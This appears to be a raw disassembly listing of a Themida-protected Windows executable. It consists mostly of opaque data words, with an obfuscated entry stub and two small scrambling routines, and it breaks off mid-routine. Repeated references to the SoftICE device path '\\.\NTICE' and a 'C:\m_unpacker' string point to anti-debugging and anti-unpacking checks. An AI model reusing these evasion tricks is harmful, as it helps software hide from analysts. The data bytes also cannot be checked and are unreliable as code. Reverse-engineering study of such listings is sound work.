dd 0F2252130h, 1209C871h, 8B39208h, 1F8FF44Ch, 102FEB58h
dd 4C0BD60h, 0A08D497Eh, 0B8588523h, 7FA803Ch, 1F8274DAh
dd 8E987181h, 6A626501h, 505986E0h, 42AED200h, 64CCC834h
dd 0F3E36081h, 47C50324h, 81C49914h, 202F53E6h, 853F7A38h
dd 9467311Ch, 0D4C4EDh, 2E2C934Bh, 0C8C6FC8Bh, 0AE5EBC07h
dd 0A4E1CCFFh, 0B442A8CFh, 4B8329DDh, 8A98765Fh, 0F231CA7Ch
dd 0BFAD4938h, 88B7E820h, 6A03C0D5h, 1E6F8540h, 6C34A8C1h
dd 81E82FA9h, 8400D4E4h, 0F37A887Bh, 8E259Ah, 83142285h
dd 0CEB2B37Fh, 9C2C8D09h, 0DCFC00ADh, 12227894h, 206A5B52h
dd 5A0D3D38h, 6C51036Ah, 3C07DA05h, 0D4E57C00h, 0E46ADC0Ah
dd 9F0CA96Eh, 24E4C70h, 2F5FCCC4h, 0DDE0528Bh, 0F905FC08h
dd 0D36EFEC5h, 0CFF3E080h, 0EDAA88DBh, 429E4E00h, 0C8407956h
dd 0A9E13C1Fh, 0F03E2B00h, 0C3BADB8Eh, 0B500A891h, 9819E0A0h
dd 9E3F00B9h, 0FB13B722h, 0B605A755h, 0B48BE17h, 0A42D800Ah
dd 0E4EB404Fh, 0B337404h, 60DE7F7Eh, 0F40108B2h, 702AB5E4h
dd 0C2117B30h, 9448F6E5h, 165DC054h, 0E3D8D688h, 569F0E40h
dd 0BB0CE0BAh, 2D02C207h, 9C2937F2h, 8CFA5418h, 887C4400h
dd 41928257h, 0EFFE0366h, 79615532h, 40F73127h, 2D500EF4h
dd 84908EF6h, 0CC16CA64h, 59012819h, 72C13D13h, 2C3F7C60h
dd 0B7E8DDDh, 8458BCEEh, 0F666D21h, 0F1494622h, 0E342C444h
dd 880605Ch, 0FCA8E69Dh, 4EA90D00h, 39CDA727h, 0E6C1E410h
dd 594713ABh, 258C0B5Fh, 78091CF3h, 0C8FA0Ch, 0AFB0113Ah
dd 72030BEFh, 3F096913h, 0B12E3CC0h, 5AFB0506h, 9C9EE89Dh
dd 0F6181B80h, 7711F8C2h, 6D250474h, 80BF78DEh, 0BA4636F0h
dd 4204B4Bh, 76C953Eh, 0DFC3587Eh, 523B50AAh, 0A60C072Dh
dd 78A554B0h, 0DA61173Fh, 155C001Dh, 398D4EB5h, 0BC5B5A11h
dd 96AD2E00h, 59501083h, 0B6AF7550h, 82354E00h, 9C5174B2h
dd 0C2841F8Bh, 30EC17BFh, 761A9A50h, 0D25CE376h, 75E0C084h
dd 0BA2060Eh, 4339289h, 4B764898h, 2B2FB402h, 0F9658EACh
dd 67A100E0h, 0B7976A63h, 1A28EF1Dh, 34BA2F80h, 192BDAF3h
dd 0B81CD14Eh, 390710B7h, 0EF5612A9h, 2464B40Fh, 0C31C837Dh
dd 0BC8A7E29h, 0FF5F01CCh, 6CFFh
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4EDCB7: ; CODE XREF: start:loc_48F265j
; DATA XREF: start:loc_48F086o
jmp loc_4F1008
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 0Bh dup(0)
aQucw db 'ï“çw',0
align 10h
dd 0
dd 5D9B47FAh, 9 dup(0)
aNnS db 'Ä‘',0
align 10h
dd 3DB6F7DEh, 4 dup(0)
dd offset dword_4F0648
dd 3 dup(0)
dd 0ACBDh, 0FFFF9174h, 2 dup(0)
dd 77E8360Ch, 0
dd 9B69DDh, 1, 6667706Ch, 2 dup(0)
dd 6, 602Eh, 2 dup(0)
dd 1, 1FEF77F5h, 5 dup(0)
dd 77E6003Ch, 10Ch, 54369Bh, 4 dup(0)
dd 77E7A144h, 2446B9Ch, 7 dup(0)
dd 30DFh, 2 dup(0)
dd 7FFE0304h, 0
dd 2550000h, 8 dup(0)
dd offset word_544B0A
dd 9B9234h, 0
dd offset byte_55C5C9
align 10h
dd 35Bh, 91h dup(0)
aBd db 'BDÆ)',0
align 10h
dd 0
dd 0A4h, 9 dup(0)
aCw db 'µ\çw',0
align 8
dd 77FFFFF4h, 9AD554h, 5 dup(0)
dd 0FFADA8E8h, 2 dup(0)
dd 77F7EBB3h, 0Bh dup(0)
aW db '×#Ýw',0
align 4
dd 3 dup(0)
dd 0FFB86199h, 7 dup(0)
dd 0FFAC348Ah, 0
dd offset dword_561238
dd 2 dup(0)
dd 12FFA4h, 2 dup(0)
dd 0E11FCBF0h, 761D3B19h, 55DBFBh, 0
dd 9B2292h, 7FFE0304h, 0
dd 0FFFFFFA4h, 2 dup(0)
dd offset word_52FD5A
dd 91E6h, 448E465Eh, 0
dd offset loc_403048
dd 2 dup(0)
dd offset byte_55AF05
align 10h
dd offset dword_450050+28EC4h
dd 4 dup(0)
aSAIe db '˜Ç ',7,'©…¾>',0
align 10h
dd 7 dup(0)
dd offset byte_539A99
dd 0
dd 1, 5 dup(0)
dd 77E7A099h, 0A7E5A0Ch, 535012h, 4 dup(0)
dd 0FFABA580h, 9B9234h, 7FFE0304h, 0Eh dup(0)
dd 77F5180Bh, 4084EAA8h, 0
dd 0FFFEB480h, 526B55h, 4 dup(0)
aSSwcsq db 'è/èwæ‘Q',0
dd 6 dup(0)
dd offset loc_403048
dd 4 dup(0)
aNSLr db 'N`¸éÈ‹R',0
dd 4 dup(0)
dd 7FFE0304h, 8 dup(0)
dd 80h, 0
dd 0AB1FBFh, 3 dup(0)
dd 90E5h, 33h dup(0)
dd 0FFAD1468h, 0
dd 18B96845h, 0
dd 0FCB188F5h, 0
dd offset dword_532F18
dd offset byte_5218C3
dd 63C4h, 2 dup(0)
dd 6BD4628h, 2 dup(0)
dd 0BB80h, 77FC5024h, 5 dup(0)
dd 73FEF603h, 3 dup(0)
dd offset dword_4EF510
dd 3 dup(0)
aVlcw db '‚‹çw',0
align 4
dd 18h dup(0)
dd offset byte_527A37
dd 6 dup(0)
dd 77F7EBB3h, 0Ch dup(0)
aSjiw db 'é¦ëw',0
align 10h
dd 1AAC1h, 0
dd 0FFEFC7FDh, 0
aM_0 db 'MѶ\',0
align 4
dd 3 dup(0)
dd offset word_544C2E
dd 0
dd offset aJse+1
dd 7 dup(0)
dd 77DD59F0h, 0
a8uo db '8žO*',0
align 2
dw 256h
dd 4 dup(0)
dd 77E6D706h, 4 dup(0)
dd 28h, 4 dup(0)
aVlU db 'VLÑU',0
align 2
dw 77F5h
dd 2 dup(0)
dd offset dword_531F9C
dd 5 dup(0)
dd 4, 4 dup(0)
dd 0FFFFFFFEh, 0
dd offset a_Ntice ; "\\\\.\\NTICE"
align 10h
dd 23009173h, 0Fh dup(0)
dd 0F0639770h, 2 dup(0)
dd 6, 7 dup(0)
dd 0B56Ah, 0Ch dup(0)
a7@ db '7Õ@>',0
align 4
dd 6 dup(0)
dd 4808h, 0
aC9x db 'æ\9å',0
align 10h
dd 0
dd 7FFE0304h, 4 dup(0)
dd offset dword_529874
dd 3 dup(0)
dd offset byte_5295B5
align 10h
aCycw db 'cyçw',0
align 4
dd 7 dup(0)
dd 0FFFFFFFFh, 0
dd 9BFA56h, 0FE8h, 3 dup(0)
dd 9D9BACh, 0A29F05FBh, 2 dup(0)
dd 510Dh, 2 dup(0)
dd 0FFF80C10h, 9A0FE6h, 7FAE34FCh, 552D6Ah, 4 dup(0)
dd 0C57F94B4h, 0Ah dup(0)
dd 77F52E0Fh, 4 dup(0)
dd 9B3E3Bh, 5 dup(0)
dd 9B8C0Ah, 4 dup(0)
dd offset aA_2 ; "`aÂ\b"
dd 6 dup(0)
dd 19C1D993h, 9B69DDh, 7FFE0304h, 77E7A13Fh, 2 dup(0)
dd offset byte_548F43
dd 0
dd 9FA5E7h, 12E313h, 0B624D830h, 6 dup(0)
dd 7FFE0304h, 39h, 7FFE0304h, 77E82168h, 77E74A3Bh, 2 dup(0)
dd 2550000h, 0A3B5155Dh, 9 dup(0)
dd offset dword_5679A4
dd 4 dup(0)
dd 77DD189Ah, 5 dup(0)
dd 57C6A71Fh, 9B5E2Eh, 4 dup(0)
dd 144F2BCFh, 0
a1I db '1Ô°ë',0
align 8
dd 77E7C486h, 12FF54h, 99988F94h, 4 dup(0)
dd 1F7EA0BBh, 2 dup(0)
dd 9C1568h, 2 dup(0)
dd 3A1h, 0Eh dup(0)
a0I db 'ß0Å©',0
align 10h
dd 2 dup(0)
dd 0FFFFFFFFh, 4 dup(0)
dd 0FFFFFF50h, 3 dup(0)
a7zAR db '7z',9,'A· R',0
align 8
dd offset byte_527A37
dd 7FFE0304h, 0
aDA6666csq db '„²',9,'A6666æ‘Q',0
dd 6 dup(0)
dd 3AF4FDE4h, 0
dd 23C0000h, 5 dup(0)
dd 36Bh, 2 dup(0)
dd offset dword_4F0648
dd 4 dup(0)
dd offset byte_55DBFB
dd 12FFC4h, 3 dup(0)
dd offset byte_527A37
dd 0
aHm db 'ÜHmÙ',0
align 4
dd offset dword_52A8B0
dd 1, 6 dup(0)
dword_4EEA5C dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h
; DATA XREF: Themida_:004EFAE4o
dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF009BA0h
dd 24448BE0h, 0E0FF04h, 15h dup(0)
dd offset word_54AF42
dd 766B5137h, 55C1FDh, 0
dd 11111111h, 3 dup(0)
dd 9B69DDh, 0
dd offset dword_4EF510
dd 2 dup(0)
dd offset word_55C5CE
dd 7 dup(0)
dd offset word_5560C6
dd 2 dup(0)
dword_4EEB44 dd 5F090304h, 3E0h, 0E871E9A7h, 401000h, 2 dup(0)
; DATA XREF: Themida_:004EF594o
; Themida_:004EF86Co ...
dd offset byte_54E081
dd 2 dup(0)
aSzN db '™§Èn',0
align 10h
aNS db 'n²s',7,0
align 4
dd 30h dup(0)
aL?lSfi db 'L?lš™”›',0
dd 0
dd 0FFFD0800h, 0
dd offset byte_54330B
dd 0
dd 1DBFFB0h, 5407AEh, 9 dup(0)
dd offset byte_557281
dd 9 dup(0)
dd 0BDA01F43h, 8 dup(0)
dd offset unk_48D000
dd 2 dup(0)
dd 0AF3Fh, 6 dup(0)
dd 0A280105h, 7 dup(0)
dd 7FFE0304h, 4 dup(0)
dd 77EB87F2h, 5 dup(0)
dd offset word_546B96
dd 77E80618h, 4AE89234h, 0
dd 56696713h, 2 dup(0)
dd offset aQrs+1
dd 0
dd 0FFFFFFFEh, 5 dup(0)
aF_2 db 'Ò±¿”',0
align 4
dd 2 dup(0)
dd 7FFE0304h, 0FFFFA0ACh, 0
dd offset dword_528898
dd 74h, 554AEAh, 2 dup(0)
dd offset a5PCcuQ2R5 ; "5$¯ÅcCuÐq½2êR5"
dd 2 dup(0)
aN db 'ÝÇ/n',0
align 10h
dd 9 dup(0)
aMcwl?lBor db '^¬çwL?lš¡®R',0
dd 2 dup(0)
aZdA db '§D',9,'A',0
align 10h
dd 4 dup(0)
dd offset a_Ntice ; "\\\\.\\NTICE"
dd 5 dup(0)
dd 7FFE0304h, 0A9C530DFh, 0
dd offset dword_55D1A8
dd 0
dd 7FFE0304h, 77DD0000h, 526CB8h, 7 dup(0)
aFn@n db 'äN@',0
align 4
dword_4EEE6C dd 0E51F2973h, 68h dup(0)
dd 30DFh, 3 dup(0)
dd 0FAF7B56Ah, 3 dup(0)
dd 1CABF455h, 2 dup(0)
aNn3n db '3n',0
align 8
dd 7FFE0304h, 0
dd 9B69DDh, 0Ah dup(0)
dd 1, 2 dup(0)
dd 3AA00h, 248DBABh, 4 dup(0)
a0I_0 db 'ß0Å©',0
align 4
dd 0
dd 4F18B15h, 9C3154h, 4 dup(0)
dd 90E5h, 53BDC9D6h, 2 dup(0)
dd offset word_55CAF6
dd 7 dup(0)
dd 4, 0
dd 5E0023h, 7312AE55h, 5 dup(0)
dd offset aLS ; "`‹\\$$è"
dd 4 dup(0)
dd 1, 0
a7icw db '7¨çw',0
align 4
dd 4 dup(0)
dd 9B69DDh, 0
dd 0FFAE6E1Ah, 5 dup(0)
dd offset word_53CB76
dd 3 dup(0)
dd 281047h, 9A003Eh, 0
dd 4000F0h, 5 dup(0)
dd 9B09F7h, 0
dd 0FF645FF1h, 4 dup(0)
dw 3Eh
unicode 0, <»>,0
align 4
dd 77D40000h, 0
aZsD db '§éÏD',0 ; DATA XREF: Themida_:004F0CD0o
align 4
aXr db 'å',0
align 4
dd 3 dup(0)
dd 1, 2 dup(0)
aPoc db 'ØoC',0
align 4
aHhj db 'hH¦',0
dd 3 dup(0)
dd offset dword_545F50
dd 1657D63Fh, 4 dup(0)
dd 10F3202h, 0FAF7B56Ah, 0AE1D70AAh, 4 dup(0)
aTuO db 'tUÔŽ',0
align 4
dd 0Ch dup(0)
dd 80008C6Bh, 0
aCycw_0 db 'cyçw',0
align 4
dd 1C0000h, 0
a0I_1 db 'ß0Å©',0
align 4
dd 2 dup(0)
dd 7FFE0304h, 2 dup(0)
dd offset byte_55BC8B
dd 3 dup(0)
dd offset byte_5569CF
dd 1, 0E3422F79h, 6F00h, 2 dup(0)
dd 90E5h, 0
a@V db '@',1Bh,'´v',0
align 10h
dd 3 dup(0)
dd 0A90000h, 527A37h, 19h dup(0)
dd 9A0000h, 7FFE0304h, 529874h, 2 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 23h, 9B2BDEh, 0Ah dup(0)
dd 1, 0FE4698C4h, 77E805D8h, 0FFA8A892h, 3 dup(0)
dd 0FFAC8BACh, 6 dup(0)
dd 0FF0672B5h, 9D7FD8h, 0
dd 0EBF8496h, 3 dup(0)
dd 0A3B5155Dh, 9AB168h, 6 dup(0)
dd offset byte_527A37
dd 3 dup(0)
dd offset dword_444EC4+18Eh
dd 0
dd 24510CAh, 53043Ch, 312D3430h, 0
aAl db 'ÓAL¸',0
align 4
dd 7FFE0304h, 4 dup(0)
dd 9A0A9Ah, 4 dup(0)
aHxmv db 'hXMV',0
align 4
dd 2 dup(0)
aVKz db '‚',27h,'kZ',0
align 4
dd 7 dup(0)
dd 90E5h, 2 dup(0)
dd offset word_557022
dd offset byte_52B569
dd 3 dup(0)
dd 171000h, 0Eh dup(0)
dd 5C378300h, 9748h, 0E4h
dword_4EF510 dd 2, 3D29ADA1h, 4 dup(0) ; DATA XREF: Themida_:004EE45Co
; Themida_:004EEB0Co ...
dd 0FFFFA74Ch, 3 dup(0)
aCw_0 db ']°çw',0
align 10h
dd 7FFE0304h, 4 dup(0)
dd 9B915Bh, 2 dup(0)
dd 0FFEh, 0A552C4B4h, 0
dd 0FFFFFFFFh, 54361Eh, 5 dup(0)
dd 8001FCFCh, 9F9995h, 0
dd offset dword_4EEB44+4
a@pQ5iGazpP db '@p)Ÿ5¨·ƒí‡Óp',0
align 4
dd offset dword_53C930
dd 3 dup(0)
dd 13F3E109h, 558246h, 3A0h, 53C8DB88h, 4 dup(0)
dd 0F0A7352Ch, 2 dup(0)
dd offset dword_4EEE6C+10h
dd 11h dup(0)
aHSw db 'h>èw',0
align 4
dd 7 dup(0)
dd 90E5h, 7FFE0304h, 0
dd 1DBFFB0h, 0FF0601FFh, 3 dup(0)
dd 6Ch, 0
dd 12FF54h, 0Dh dup(0)
dd 77FCD7A9h, 0
dd offset dword_51F9EC
aRestartapp_exe db 'RestartApp.exe',0
align 4
dd 7 dup(0)
dd 90E5h, 5 dup(0)
dd 1, 53992Fh, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset dword_52EF24
dd 4 dup(0)
dd offset dword_535554
dd 3 dup(0)
dd 71FDBE00h, 522067h, 0EE46h, 0
dd 2860000h, 9C1568h, 0
dd 77FC5024h, 5 dup(0)
aThemida db 'Themida',0
dd 1Ch dup(0)
dd 0FF0h, 2 dup(0)
dd offset byte_526B55
align 10h
dd 12FF54h, 0
dd 189306h, 0
dd 41784ABh, 0
dd 0FAF7B56Ah, 4F0648h, 6 dup(0)
dd 0A600h, 6 dup(0)
dd offset dword_52D2A8
aDbcw db 'D¡çw',0
align 10h
dd 7FFE0304h, 2 dup(0)
dd offset dword_4EEB44+4
dd 2 dup(0)
db '$$$$',0
align 10h
dd 0Ah dup(0)
dd 20BFFB0h, 73DDE7F7h, 121F04h, 5 dup(0)
dd 196Bh, 0Eh dup(0)
dd offset word_557022
dd 9 dup(0)
aINO db 'ÝI*n<',1Bh,'O',0
dd 5 dup(0)
dd 7FFE0304h, 566EA7h, 0
dd 1163h, 0
dd 1A7698Dh, 3 dup(0)
a333333333333 db '333333333333',0
align 4
dd 0FE8h, 2 dup(0)
dd 88h, 2 dup(0)
aU_0 db '¿µ~;ÉÅU',0
align 10h
aMaI db '’',0Ah
db 'ˆ',0
align 4
dd 2570000h, 4 dup(0)
dd 0A8h, 0A9C530DFh, 8 dup(0)
dd 0FFB10AF0h, 2 dup(0)
dd offset word_53313E
align 8
dd 0E2022653h, 0
dd offset dword_4F0928
dd 4 dup(0)
dd 9A00F8h, 3 dup(0)
dd 6169FA8Fh, 2 dup(0)
dd offset byte_5218C3
align 8
dd 2, 1E3B7273h, 5548A9h, 4 dup(0)
dd 8C000h, 5 dup(0)
dd offset byte_52208F
dd 3 dup(0)
dd 7FFE0304h, 0A0h, 8 dup(0)
dd 9C3154h, 94h, 4 dup(0)
dd 2000h, 9 dup(0)
dd offset dword_4EEA5C
dd 3 dup(0)
aS_5 db 'éÝÌÞ',0
align 10h
dd offset word_5288EE
dd 147FB139h, 2 dup(0)
dd offset byte_527A37
dd 23C000Ch, 4EEB48h, 9 dup(0)
dd 77501D6Dh, 36000h, 86161D8Ch, 4 dup(0)
dd 0FFFFFFFFh, 0
dd 77FC5024h, 2 dup(0)
dd 9C1568h, 0
dword_4EFB78 dd 4, 6 dup(0) ; DATA XREF: Themida_:004F0DECo
dd 2540000h, 0
dd 100h, 6 dup(0)
dd 870h, 7FFE0304h, 2 dup(0)
dd 1300h, 0FFFF91E6h, 7 dup(0)
dd offset dword_4EEE6C+11h
dd 10h dup(0)
aS1A db 'è1',27h,'A',0
align 10h
dd 2 dup(22222222h), 8001FCFCh, 0
dd 531C9h, 8 dup(0)
aSzN_0 db '™§Èn',0
align 10h
dd offset word_5303B6
align 10h
dd 78h, 2 dup(0)
dd offset byte_539AB1
dd 0
dd 1, 3 dup(0)
aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0
align 4
dd 39h dup(0)
dd offset dword_55D150
dd 3 dup(0)
dd 15DAFFCEh, 2 dup(0)
dd 7D1h, 4F0648h, 2 dup(0)
dd 8F014h, 0
dd offset word_52F9CA
dd 8 dup(0)
dd offset byte_538367
dd offset a_Ntice ; "\\\\.\\NTICE"
align 10h
dd offset word_532182
align 8
dd 7FFE0304h, 2 dup(0)
dd 36Bh, 3 dup(0)
dd 3F0FFD91h, 0FFFFDCB7h, 3 dup(0)
dd offset word_54361E
align 10h
dd offset byte_542B33
dd 2 dup(0)
dd 21541FAEh, 2 dup(0)
dd offset dword_5561F0
dd 9 dup(0)
dd 7FFE0304h, 0
dd 8001FCFCh, 0
dd 7FFE0304h, 8Ch, 8051CE7Ah, 2 dup(0)
dd 0F9ECh, 2 dup(0)
dd 0F8836AD1h, 9BA00Fh, 0
dd 0FFFFFFFFh, 0FFABD90Ah, 9B69DDh, 0Bh dup(0)
dd 71FDBE00h, 0
aTyuj db 'tYU†',0
align 10h
dd offset byte_5218C3
dd 4 dup(0)
dd 330000h, 3 dup(0)
dd 196Bh, 8 dup(0)
aZ db '~z;Ï',0
align 10h
dd 2 dup(0)
dd 0FB3AEE3Eh, 5 dup(0)
dd offset byte_548F43
dd 4 dup(0)
dd 8001FCFCh, 3 dup(0)
aZQa db 'zÎQ€',0
align 10h
dd 0FFFFFFFEh, 2 dup(0)
dd 6B404E2Eh, 19h, 2 dup(0)
dd 9B69DDh, 4 dup(0)
dd 88EEh, 0
dd offset loc_4059E4+4
dd 3 dup(0)
dd 7Ch, 144F2BCFh, 0
dd 0C6183346h, 77DD5ECCh, 0
dd offset loc_403048
dd offset byte_529079
dd 0
dd 9DB134h, 0
dword_4F0044 dd 2 dup(0) ; DATA XREF: ___:0042CC8Co
dd 0FAF7B56Ah, 2 dup(0)
dd 7FFE0304h, 3 dup(0)
dd offset a_Ntice ; "\\\\.\\NTICE"
aGaj db '£€¦Í',0
align 4
dd offset byte_555D69
align 10h
aCN db '½çÈn',0
align 4
dd 5 dup(0)
dd 9B3145h, 7FFE0304h, 0
dd 0A30671FFh, 3 dup(0)
dd 0E80h, 0
dd 1CABF455h, 6 dup(0)
dd 0F74h, 2 dup(0)
dd 8818869Dh, 51F9ECh, 4 dup(0)
dd 0FFFF9174h, 6 dup(0)
dd offset dword_4EEB44+4
dd 0Ah dup(0)
dd 313Fh, 9 dup(0)
dd 0FFFFFFFFh, 0Dh dup(0)
dd 0FFABA580h, 2 dup(0)
dd 9BA00Fh, 8 dup(0)
dd 7FFE0304h, 410944A7h, 2 dup(0)
dd 77E75CB5h, 0FFAD9208h, 27h dup(0)
dd 7FFE0304h, 15h dup(0)
dd 77E60000h, 2 dup(0)
dd offset byte_4F1E7F
dd 3B65B029h, 1, 3 dup(0)
dd offset loc_403048
align 10h
dd 0FFFF50C1h, 9A0A9Ah, 9B8C0Ah, 535359h, 0DFD0h, 0
dd 51006A60h, 2 dup(0)
dd offset aJse+1
align 10h
dd 5F08h, 0
dd 0FFAA3A32h, 3 dup(0)
dd offset dword_532F18
align 10h
dd offset aJse+1
dd 0AFh dup(0)
aId db 'țD~',0
align 4
dd 3 dup(0)
dd 9B69DDh, 0F05106F8h, 3 dup(0)
dword_4F0648 dd 9C23E8h, 12FF54h, 5 dup(0) ; DATA XREF: Themida_:004EDD44o
; Themida_:004EEA04o
dd offset dword_4EF510
dd 4 dup(0)
dd 95CA8D8Dh, 0FE389673h, 28h dup(0)
dd 88B3883Bh, 0ABA1FEh, 0
dd offset aNNs+3
dd 9Ch, 6 dup(0)
dd 400000h, 6 dup(0)
dd 0FFFF9178h, 6 dup(0)
dd 0ACh, 9 dup(0)
dd offset a_Ntice ; "\\\\.\\NTICE"
dd 2 dup(0)
dd 9C13944Eh, 3 dup(0)
dd 4FF2445Fh, 0
aNi db 'NiÚ¹',0
align 4
dd 7 dup(0)
dd 77E78B82h, 12FF54h, 3 dup(0)
dd 9B9C37h, 1Fh dup(0)
dd 9D7316h, 5 dup(0)
dd 0FFFDD4F0h, 3 dup(0)
dd 71FDBE00h, 0FFAD48E2h, 5 dup(0)
dd offset dword_4F16A4
dd 2 dup(0)
dd 0FFAD5763h, 0
aJW db 'jÉÔw',0
align 4
dd 0Eh dup(0)
dd 9B70C4h, 9B69DDh
dword_4F0928 dd 9C3268h, 4 dup(0) ; DATA XREF: Themida_:004EFA00o
dd 77D4C96Ah, 0C2AF1803h, 2 dup(0)
dd 9BA037h, 2 dup(0)
dd offset dword_556334
dd offset byte_55BC8B
dd 0
dd 90E5h, 0
dd 9B915Bh, 9 dup(0)
dd 77F78A7Fh, 6 dup(0)
dd 0FFFF95F8h, 5 dup(0)
dd offset word_552D6A
dd 3 dup(0)
dd 9F8D53h, 0
dd 0BDA01F43h, 0FAF7B56Ah, 527A49h, 9B3E3Bh, 53CB76h, 5462F7h
dd 10h dup(0)
dd 77FCD7A9h, 54629Ah, 0
aCM_unpacker db 'C:\m_unpacker',0
align 4
dd 7Fh dup(0)
dd 0B20000h, 4518B7C1h, 546330h, 7FFE0304h, 2 dup(0)
dd 0BC907028h, 0FFFFFFFFh, 2 dup(0)
aEk db 'ÄÌEk',0
align 10h
dd 0
dd 77E75CB5h, 4001E8h, 0Ah dup(0)
aT db '’=Ô¹',0
align 4
dd 5 dup(0)
dd offset aZsD+4
align 10h
dd 28618EEh, 0FF06036Fh, 323h, 2 dup(0)
dd 8005F6F4h, 0
dd 98h, 4 dup(0)
db '!!!!',0
align 4
aPs db '¯è',0
align 4
dd 3 dup(0)
dd offset byte_539B7F
dd 3 dup(0)
dd offset byte_53CAC5
align 10h
dd 11BFFB0h, 10h dup(0)
dd 0FFAA9FCCh, 0
dd 77E7A5FDh, 8 dup(0)
aZdA_0 db '§D',9,'A',0
align 4
dd 3 dup(0)
dd 76059FE5h, 281A057Bh, 0
aLIs db 'L°‰é',0
align 4
dd 3 dup(0)
dd 1, 0
dd offset dword_4EFB78
aJCw db '¦+çw',0
align 4
dd 4 dup(0)
dd 12FFF0h, 527A37h, 0A82A2Eh, 2 dup(0)
dd offset dword_4EF510
dd 0Ch dup(0)
dd 0A9B1CAh, 0
dd 7FFE0304h, 0
dd 0B862h, 0
dd 0B8h, 4 dup(0)
dd 7FFE0304h, 1Eh dup(0)
dd 6C8Bh, 77E77963h, 90h, 0
a0I_2 db 'ß0Å©',0
align 10h
dd 0
dd 84h, 0FF9Dh, 558246h, 7FFE0304h, 0
dd 90E5h, 1F8h, 0
dd offset dword_56567C
align 10h
dd offset a_Ntice ; "\\\\.\\NTICE"
dd 492AB0F3h, 7 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 0FFFF9288h, 0
aZc3 db 'ÏZC3',0
align 10h
dd 2 dup(0)
dd 7FFE0304h, 0FFED00A4h, 5F94h, 8 dup(0)
aAzp db 'í‡Ó',0
align 4
dd 3 dup(0)
dd 9B9393h, 4EF510h, 12FFE0h, 0A7757Fh, 0
dd 0FFFFA554h, 53C8DB88h, 3 dup(0)
dd offset word_5288EE
dd 0ED9FDEFh, 4 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4F1008: ; CODE XREF: start:loc_4EDCB7j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 5E2335Bh
mov [ebp+5E20D65h], edx
mov [ebp+5E205C5h], esi
mov [ebp+5E23151h], eax
cmp dword ptr [ebp+5E20F7Dh], 0
jz short loc_4F1040
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4F1040: ; CODE XREF: start+6201Ej
mov eax, [esp+40h+var_1C]
mov [ebp+5E20B01h], eax
push 45h
call sub_4F10F4
push 783749Ah
call sub_4F113A
push 0A894B25h
call sub_4F113A
jmp loc_4F127E
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4F10F4 proc near ; CODE XREF: start+62038p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 5E23449h
mov ebx, edx
mov [ebp+var_28], 0
loc_4F1110: ; CODE XREF: sub_4F10F4+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_4F112F
mov eax, [ebp+arg_0]
mov [ebx+5E233B3h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_4F1110
; ---------------------------------------------------------------------------
loc_4F112F: ; CODE XREF: sub_4F10F4+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_4F10F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4F113A proc near ; CODE XREF: start+62042p start+6204Cp
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 5E23492h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_4F1160: ; CODE XREF: sub_4F113A+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_4F1160
mov [ebp+var_84], 0
lea edi, [edx+5E233B3h]
lea esi, [ebp+var_80]
loc_4F1190: ; CODE XREF: sub_4F113A+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_4F119C: ; CODE XREF: sub_4F113A+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_4F119C
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_4F1190
popa
leave
retn 4
sub_4F113A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_4F11DA
; ---------------------------------------------------------------------------
loc_4F11D6: ; CODE XREF: Themida_:004F11DDj
inc dword ptr [ebp-4]
inc esi
loc_4F11DA: ; CODE XREF: Themida_:004F11D4j
cmp byte ptr [esi], 0
jnz short loc_4F11D6
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_4F126B
; ---------------------------------------------------------------------------
loc_4F11EC: ; CODE XREF: Themida_:004F126Ej
mov dword ptr [ebp-8], 0
jmp short loc_4F1262
; ---------------------------------------------------------------------------
loc_4F11F5: ; CODE XREF: Themida_:004F1266j
mov dword ptr [ebp-10h], 0
